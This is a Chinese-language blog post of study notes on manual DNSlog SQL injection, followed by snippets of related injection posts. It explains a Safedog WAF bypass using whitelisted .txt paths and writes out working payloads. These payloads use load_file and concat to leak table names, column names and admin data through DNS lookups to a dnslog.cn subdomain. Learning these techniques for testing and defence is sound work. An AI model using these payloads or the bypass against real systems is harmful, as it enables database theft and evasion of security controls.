學習記錄 DNS log注入 手工注入)

2021-10-09 04:04:00 字數 2362 閱讀 5722

學習記錄-dns_log注入(手工注入)

一、dns_log注入的實用場景滿足條件

1.無回顯

2.不能用盲注,即使能使用盲注,存在被ban的風險高且效率低

3.資料庫配置能使用load_file函式可以傳送請求

4.擁有乙個dns伺服器接受傳送過來的資料

二、dns_log注入的實質

就是拼接語句,借助開發資料庫可能配置了函式load_file,通過函式傳送請求,將sql語句查詢的結果帶出來給我們自己設定的dns伺服器解析,通過日誌記錄可以看到結果資訊

三、總體思路

檢視是否存在dns_log注入(選擇最簡單的注入,不僅限於dns_log注入)----嘗試注入 #(不一定非要用dnslog注入,找最簡單的方法)

四、學習dns_log注入前,需要了解一些基礎知識:

1)unc路徑

\\主機位址(或者網域名稱)\檔案 也就是共享檔案路徑

2)smb服務

就是windowns的共享檔案服務,liunx上沒有,需要單獨安裝

3)資料庫設定,使用load_file()函式

1.選擇my.ini配置檔案,加入引數secure_file_priv=""

2.使用load_file函式,嘗試載入,load_file函式可以讀取給定的檔案,也可取訪問給定的url位址,前提是擁有讀取許可權、檔案在目的位址上、且my.ini函式配置secure_file_priv=""

4)apache繞過安全狗waf的一種方法(還有很多其它方法)

1.apache預設解析是遇到不認識或者沒有的會向前解析(可以設定)

2.waf白名單很大機率含有txt、png等這種格式檔案,將不會攔截

這裡就是運用txt檔案是白名單,安全狗不檢測,然後利用apache預設解析方式找不到txt檔案去上層解析進行傳遞

5)dnslog.cn是乙個不錯的dns服務平台

四、注入過程

1)檢視是否存在dns_log注入

若存在安全狗嘗試用txt繞過,這裡主要是檢測是否存在回顯

/1.txt?id=1 and 1=1

/1.txt?id=1 order by 1,2…

/1.txt?id=1 union select 1,2…

檢視是否能盲注;發現可以盲注,但是要考慮到風險及效率,與dns_log注入對比哪種更快捷

/1.txt?id=1 and sleep(5)

2)使用dns_log注入

通過查詢自帶庫獲取資料庫表名,這裡都是嘗試,不一定web資料庫就一定含有自帶庫

/1.txt?id=1 and load_file(concat(』//』,(select table_name from information_schema.tables where table_schema=database() limit 0,1),』.g2vngq.dnslog.cn/adc』)) ----注意的是這裡需要用limit限制一條資料,因為傳送到網域名稱只能取一條,而查詢出來的是集合;apache去尋找adc檔案發現沒有,就去尋找上層,產生了dns解析

查詢表欄位名,也利用自帶庫查詢

/1.txt?id=1 and load_file(concat(』//』,(select column_name from information_schema.columns where table_schema=database() and table_name=『***』 limit 0,1),』.g2vngq.dnslog.cn/adc』)) —第乙個字段

獲取資料

/1.txt?id=1 and load_file(concat(』//』,(select *** from admin limit 0,1),』.g2vngq.dnslog.cn/adc』)) —獲取第乙個x』x』x

五、個人總結

1)很多**都是使用了安全狗,嘗試多種方式繞過,這裡用了一種白名單組合apache預設解析的方法繞過

2)load_file函式資料庫預設是不開啟的,有些開發為了方便所以設定了這個,從而導致了dns_log注入

3)dns_log注入需要注意使用場景,多種情況下選擇,應該選擇最簡單的方法

4)unc路徑和smb服務為windowns系**有,liunx沒有若需要則可以單獨安裝服務

學習記錄 寬位元組注入 手工注入

學習記錄 寬位元組注入 手工注入 一 概念及原理 寬位元組注入其實質就是抓住資料庫為非英文編碼如gbk,通過傳入含特殊字元的sql語句,配合魔法引號被資料庫gbk編譯為漢字,從而達到溶解魔法引號的目的。二 注入步驟 大概步驟分為,判斷是否存在寬位元組注入 嘗試寬位元組注入 get傳參 1 判斷是否存...

sql注入 手工注入

表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...

學習DNSlog注入

學習 dnslog注入 簡介在sql注入無回顯的情況下,盲注是一種辦法,但費時。dnslog注入可以將資料外帶,通過dns解析日誌讀取回顯資料。原理及利用場景詳見大佬們的部落格 t1ddl3r 使用dnslog拯救你的盲打盲注 afanti 巧用dnslog實現無回顯注入 armyzer0 利用dn...